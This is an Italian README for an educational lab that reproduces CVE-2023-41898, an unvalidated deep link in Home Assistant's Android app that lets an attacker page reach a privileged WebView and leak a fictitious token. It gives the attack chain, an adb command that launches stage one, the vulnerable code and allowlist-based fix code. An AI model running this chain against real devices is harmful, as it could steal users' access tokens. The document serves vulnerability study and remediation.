
Analisi dettagliata di CVE-2023-41898: sfruttare un deep link non validato in Home Assistant Android per caricare URL arbitrari in una WebView privilegiata e divulgare un token fittizio.
È un Lab educativo di riproduzione ridotta basato sul report di vulnerabilità pubblico (GHSL-2023-142) di Home Assistant Companion for Android e sulla struttura open source della versione vulnerabile 2023.8.2.
Non utilizza server, account o token reali di Home Assistant. Espone solo un token fittizio fisso: LAB_TOKEN_CVE_2023_41898_NOT_REAL.
2023.9.2 (secondo l'avviso ufficiale)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ WebView.loadUrl() con JavaScript abilitato, senza convalida
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ bridge JavaScript externalApp esposto alla pagina dell'attaccante
▼
Visualizzazione del LAB_TOKEN fittizio
L'intent-filter nel manifest Android definisce solo quali URI corrispondono a un Intent implicito; non convalida automaticamente l'URI dei dati di un Intent che specifica esplicitamente un componente.
victim/: app che riproduce il gestore di deep link vulnerabile e la WebView privilegiataattacker/: app che invia un Intent esplicito all'Activity esportata dell'app vittimaweb/: pagine d'attacco di fase 1 e 2 servite localmentedist/: APK di debug verificatiUPSTREAM.md: corrispondenza tra il sorgente originale e l'implementazione del LabRequisiti: JDK 17 o superiore, Android SDK 36, cache di Gradle/Android Gradle Plugin o connessione Internet.
./gradlew :victim:assembleDebug :attacker:assembleDebug
Eseguire solo su emulatori autorizzati o dispositivi di test.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Dalla directory principale del Lab, eseguire il seguente comando.
python3 -m http.server 8000 --directory web
Nell'emulatore predefinito di Android Studio, 10.0.2.2 punta al loopback del PC host. Se si utilizza un dispositivo di test reale, modificare web/exploit.html e l'URL dell'app attaccante impostando l'IP LAN del PC.
CVE-2023-41898 Victim e CVE-2023-41898 Attacker.homeassistant://navigate/.LAB_TOKEN_CVE_2023_41898_NOT_REAL.È possibile invocare la prima fase anche senza l'app attaccante tramite ADB.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
L'implementazione vulnerabile carica l'URI esterno così com'è.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
In fase di correzione, verificare scheme, host, porta e path dell'URI analizzato tramite una strict allowlist. Non utilizzare confronti di stringhe con startsWith: comportano rischi di bypass tramite userinfo ([email protected]), sottodomini ed encoding.
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
Inoltre, rimuovere JavaScript e JavascriptInterface non necessari dalla WebView e applicare la stessa convalida degli URL a tutte le navigazioni e a tutti i reindirizzamenti.
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2